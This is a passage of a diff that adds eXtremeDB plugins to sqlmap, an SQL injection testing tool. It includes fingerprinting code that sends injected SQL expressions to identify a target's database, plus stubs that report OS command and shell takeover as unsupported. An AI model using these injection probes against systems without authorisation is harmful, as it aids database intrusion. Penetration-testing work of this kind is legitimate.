actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES):
|
||||||
|
setDbms(DBMS.EXTREMEDB)
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.EXTREMEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.EXTREMEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("hashcode(NULL)>=0")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.EXTREMEDB)
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def forceDbmsEnum(self):
|
||||||
|
conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_')
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -27,12 +27,6 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
return []
|
return []
|
||||||
|
|
||||||
def searchColumn(self):
|
|
||||||
warnMsg = "on Firebird it is not possible to search columns"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return []
|
|
||||||
|
|
||||||
def getHostname(self):
|
def getHostname(self):
|
||||||
warnMsg = "on Firebird it is not possible to enumerate the hostname"
|
warnMsg = "on Firebird it is not possible to enumerate the hostname"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user